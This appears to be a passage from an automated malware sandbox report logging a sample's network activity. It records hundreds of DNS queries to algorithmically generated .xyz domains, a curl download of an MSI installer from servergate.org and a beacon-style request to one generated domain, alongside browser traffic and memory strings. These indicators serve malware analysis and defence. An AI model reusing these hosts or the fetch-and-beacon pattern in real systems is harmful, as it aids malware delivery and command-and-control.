Source: unknown	DNS traffic detected: query: eeoeukoqgiwsumsu.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: goiikukwyyauemqc.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mmoycwqiuykiusuy.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aiumyocycyyikiwc.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: syiysgiqgqggqkoc.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sgigamoeiwksoecq.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: acemcwecgiqcukys.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ocqseueommkkqcgs.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: awyomscgweuqmgaw.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qcwcgegyyieaoqca.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ekqyosgcumkcecmo.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kcwiywyygywkkysk.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qqmicqemgcgieoau.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yqqsggacauiiugka.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qcyksokwumicscaa.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: koouumcuucaeakye.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sesyieaiesegeaow.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wcgqccqcugomywua.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wsisaoaauqwmuomg.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ieiegkokewkqmkwe.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: isukyiwyscosaaqc.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ykuoaucocogcwoky.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cuaumuqcoeegomsq.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ecasigiwguqgguyw.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: osoawyeyassgycgy.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eswweuycwwiiykwo.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gwyougsgeaaoiumg.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qqqmeagkkosgcayo.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: skiwkmaaeeiqqgee.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iykumkamcykgicyi.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uosaescwmkiyscay.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: okgigkmiieweagia.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uecouukwkuceyuwg.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uigkauqkumywguig.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kecgikusmakuksma.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cekggiciueyeyoku.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uksgyqiqaaiaiesi.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uiggameqqycugsqw.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: immcqsiceooqyaay.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: acacoiqgoimayqwm.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ososokqeakgguwsq.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cmaaciimeememwao.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: goguooqkgysueime.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: igeqissugeuswaus.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: igmqooiwioymwkcm.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssiooaeoaocuyaow.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wuuiumemmigyyauq.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uiwwamyuymycooey.xyz replaycode: Name error (3)

Source: unknown

Network traffic detected: DNS query count 363

Source: global traffic

DNS traffic detected: number of DNS queries: 363

Source: Joe Sandbox View	IP Address: 3.33.186.135 3.33.186.135
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3
Source: Joe Sandbox View	IP Address: 172.64.41.3 172.64.41.3

Source: Joe Sandbox View

ASN Name: ACEDATACENTERS-AS-1US ACEDATACENTERS-AS-1US

Source: Joe Sandbox View

JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521

Source: global traffic	HTTP traffic detected: GET /sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf HTTP/1.1Host: www.docusign.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.docusign.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.5
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.5
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.5
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.5
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.5
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.5
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.5
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.5
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.5
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /rt/setup.msi HTTP/1.1Host: servergate.orgUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf HTTP/1.1Host: www.docusign.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.docusign.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/client_hello HTTP/1.1Accept: /Connection: closeHost: aikmouciiqgecoqi.xyz:443User-Agent: cpp-httplib/0.12.1

Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log0.18.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log0.18.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log0.18.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: servergate.org
Source: global traffic	DNS traffic detected: DNS query: www.docusign.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: aikmouciiqgecoqi.xyz
Source: global traffic	DNS traffic detected: DNS query: koecgqggegimaeya.xyz
Source: global traffic	DNS traffic detected: DNS query: aawqwccomcemcysm.xyz
Source: global traffic	DNS traffic detected: DNS query: kcyakwisycecaqgw.xyz
Source: global traffic	DNS traffic detected: DNS query: uogksceymossmmqc.xyz
Source: global traffic	DNS traffic detected: DNS query: qgmyeeguweaukuke.xyz
Source: global traffic	DNS traffic detected: DNS query: mywaqkeaawisisky.xyz
Source: global traffic	DNS traffic detected: DNS query: yqqsggacauiiugka.xyz
Source: global traffic	DNS traffic detected: DNS query: equmqmqwuuuioawa.xyz
Source: global traffic	DNS traffic detected: DNS query: wmoamsauiwauoosg.xyz
Source: global traffic	DNS traffic detected: DNS query: oqsakkimkesccikc.xyz
Source: global traffic	DNS traffic detected: DNS query: mgiwaegaqyyaakwy.xyz
Source: global traffic	DNS traffic detected: DNS query: ucmioacycscyeouk.xyz
Source: global traffic	DNS traffic detected: DNS query: qumaseqmggyaiauq.xyz
Source: global traffic	DNS traffic detected: DNS query: uccyyemqaiiksuwm.xyz
Source: global traffic	DNS traffic detected: DNS query: sesyieaiesegeaow.xyz
Source: global traffic	DNS traffic detected: DNS query: kccmicaswqmswwak.xyz
Source: global traffic	DNS traffic detected: DNS query: mssaogwocegysoow.xyz
Source: global traffic	DNS traffic detected: DNS query: wssaqmakumewmaes.xyz
Source: global traffic	DNS traffic detected: DNS query: cmukociggiqcouio.xyz
Source: global traffic	DNS traffic detected: DNS query: skyqsyyymyacyayc.xyz
Source: global traffic	DNS traffic detected: DNS query: uoigsiqmemcscosu.xyz
Source: global traffic	DNS traffic detected: DNS query: kuywuskkgqsigqqs.xyz
Source: global traffic	DNS traffic detected: DNS query: auayomwkewcomwas.xyz
Source: global traffic	DNS traffic detected: DNS query: iyaikmkkowcqemsi.xyz
Source: global traffic	DNS traffic detected: DNS query: ggicikyqcaiyguee.xyz
Source: global traffic	DNS traffic detected: DNS query: oqyaoykomyoygics.xyz
Source: global traffic	DNS traffic detected: DNS query: eqakguiwiqacqiwg.xyz
Source: global traffic	DNS traffic detected: DNS query: wgcaouuqqqwucogy.xyz
Source: global traffic	DNS traffic detected: DNS query: ewacuagosgqmuocm.xyz
Source: global traffic	DNS traffic detected: DNS query: wgqyouayikuyuqmk.xyz
Source: global traffic	DNS traffic detected: DNS query: owaaygsacguucaye.xyz
Source: global traffic	DNS traffic detected: DNS query: uwgicagyykoommga.xyz
Source: global traffic	DNS traffic detected: DNS query: uiggameqqycugsqw.xyz
Source: global traffic	DNS traffic detected: DNS query: goguooqkgysueime.xyz
Source: global traffic	DNS traffic detected: DNS query: keosqeosukqcooco.xyz
Source: global traffic	DNS traffic detected: DNS query: maoeeogmuauywsyu.xyz
Source: global traffic	DNS traffic detected: DNS query: ismqaewykmoiguki.xyz
Source: global traffic	DNS traffic detected: DNS query: wucwykasawokemaw.xyz
Source: global traffic	DNS traffic detected: DNS query: ukmcqucewskcqygg.xyz
Source: global traffic	DNS traffic detected: DNS query: qqqmeagkkosgcayo.xyz
Source: global traffic	DNS traffic detected: DNS query: ysawassgkwqygmmq.xyz
Source: global traffic	DNS traffic detected: DNS query: osaeyoiqoqawauga.xyz
Source: global traffic	DNS traffic detected: DNS query: iagisciiyoemgwaa.xyz
Source: global traffic	DNS traffic detected: DNS query: ymysimqoykwqeqiq.xyz
Source: global traffic	DNS traffic detected: DNS query: ymmcwogyimsuqmcc.xyz
Source: global traffic	DNS traffic detected: DNS query: osmoygyawqmmimkq.xyz
Source: global traffic	DNS traffic detected: DNS query: immyecuqwkiyscys.xyz
Source: global traffic	DNS traffic detected: DNS query: omsqkuiwcwoegooq.xyz
Source: global traffic	DNS traffic detected: DNS query: ukaiiiyqoooycyqm.xyz
Source: global traffic	DNS traffic detected: DNS query: isemauqkwwiumyky.xyz
Source: global traffic	DNS traffic detected: DNS query: keguuyioweymiaws.xyz
Source: global traffic	DNS traffic detected: DNS query: kwaywmaequkqccai.xyz
Source: global traffic	DNS traffic detected: DNS query: yyimcoiwgckeakcm.xyz
Source: global traffic	DNS traffic detected: DNS query: ekcwemuekgqsimae.xyz
Source: global traffic	DNS traffic detected: DNS query: imigkomgmqgmakqk.xyz
Source: global traffic	DNS traffic detected: DNS query: omasqkwqyskcagwi.xyz
Source: global traffic	DNS traffic detected: DNS query: awyomscgweuqmgaw.xyz
Source: global traffic	DNS traffic detected: DNS query: eyoyssauceguqwmk.xyz
Source: global traffic	DNS traffic detected: DNS query: gwwcqeykmseicgaw.xyz
Source: global traffic	DNS traffic detected: DNS query: qwywqgsmgaoiwsga.xyz
Source: global traffic	DNS traffic detected: DNS query: ososwckwcqmmwqcy.xyz
Source: global traffic	DNS traffic detected: DNS query: osaymwoggqqycmse.xyz
Source: global traffic	DNS traffic detected: DNS query: oyewqwkusieeoqey.xyz
Source: global traffic	DNS traffic detected: DNS query: ommwaqgaemsmcqwc.xyz
Source: global traffic	DNS traffic detected: DNS query: cauewwukyywyqiei.xyz
Source: global traffic	DNS traffic detected: DNS query: goeykqccmemkswom.xyz
Source: global traffic	DNS traffic detected: DNS query: aksuakswwkiimamq.xyz
Source: global traffic	DNS traffic detected: DNS query: isaeicumkcuwqmqq.xyz
Source: global traffic	DNS traffic detected: DNS query: qiswokuokugiooky.xyz
Source: global traffic	DNS traffic detected: DNS query: qiswcssocuqsaqkq.xyz
Source: global traffic	DNS traffic detected: DNS query: qcyksokwumicscaa.xyz
Source: global traffic	DNS traffic detected: DNS query: esiaisyasoaoqwki.xyz
Source: global traffic	DNS traffic detected: DNS query: giqukkwwcwgqcisg.xyz
Source: global traffic	DNS traffic detected: DNS query: ymqaaskiwomkucuy.xyz
Source: global traffic	DNS traffic detected: DNS query: akueuaicusaoieiy.xyz
Source: global traffic	DNS traffic detected: DNS query: sauygqecsusickcu.xyz
Source: global traffic	DNS traffic detected: DNS query: kkwkgmcoawgaoiwg.xyz
Source: global traffic	DNS traffic detected: DNS query: saumycuogqsqykes.xyz
Source: global traffic	DNS traffic detected: DNS query: ukyokaigmmkumgoa.xyz
Source: global traffic	DNS traffic detected: DNS query: eswweuycwwiiykwo.xyz
Source: global traffic	DNS traffic detected: DNS query: uksgyqiqaaiaiesi.xyz
Source: global traffic	DNS traffic detected: DNS query: smckcsaioceiyasu.xyz
Source: global traffic	DNS traffic detected: DNS query: esimsqgcwwwmyoqc.xyz
Source: global traffic	DNS traffic detected: DNS query: maiyuocqqiqiiskw.xyz
Source: global traffic	DNS traffic detected: DNS query: smaaowemwiwggocu.xyz
Source: global traffic	DNS traffic detected: DNS query: kwuuwgemogmuomwq.xyz
Source: global traffic	DNS traffic detected: DNS query: ukicsmiwggcwksam.xyz
Source: global traffic	DNS traffic detected: DNS query: gwamoggwyegsseao.xyz
Source: global traffic	DNS traffic detected: DNS query: immcqsiceooqyaay.xyz
Source: global traffic	DNS traffic detected: DNS query: kkcqgowgkcoyokcu.xyz
Source: global traffic	DNS traffic detected: DNS query: kecgikusmakuksma.xyz
Source: global traffic	DNS traffic detected: DNS query: ymuiggyusggsymoi.xyz
Source: global traffic	DNS traffic detected: DNS query: uecouukwkuceyuwg.xyz
Source: global traffic	DNS traffic detected: DNS query: eyoaceoookqskqmy.xyz

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundAge: 0Cache-Control: public,max-age=0,must-revalidateCache-Status: "Netlify Edge"; fwd=missContent-Type: text/html; charset=utf-8Date: Thu, 12 Dec 2024 11:09:29 GMTEtag: 1730908359-sslServer: NetlifyStrict-Transport-Security: max-age=31536000X-Nf-Request-Id: 01JEX8YEP5STX3CCWRKAGR0PR7Connection: closeTransfer-Encoding: chunked

Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://bard.google.com/
Source: Reporting and NEL.19.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: Web Data.18.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Web Data.18.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.18.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.18.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 794914c4-e8f9-46f6-88c5-01e4028660cb.tmp.19.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.18.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 794914c4-e8f9-46f6-88c5-01e4028660cb.tmp.19.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: manifest.json0.18.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.18.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.18.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.18.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.18.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.18.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.18.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.18.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.18.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.18.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.18.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.18.dr	String found in binary or memory: https://drive.google.com/
Source: Web Data.18.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Web Data.18.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Web Data.18.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log0.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log0.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log0.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
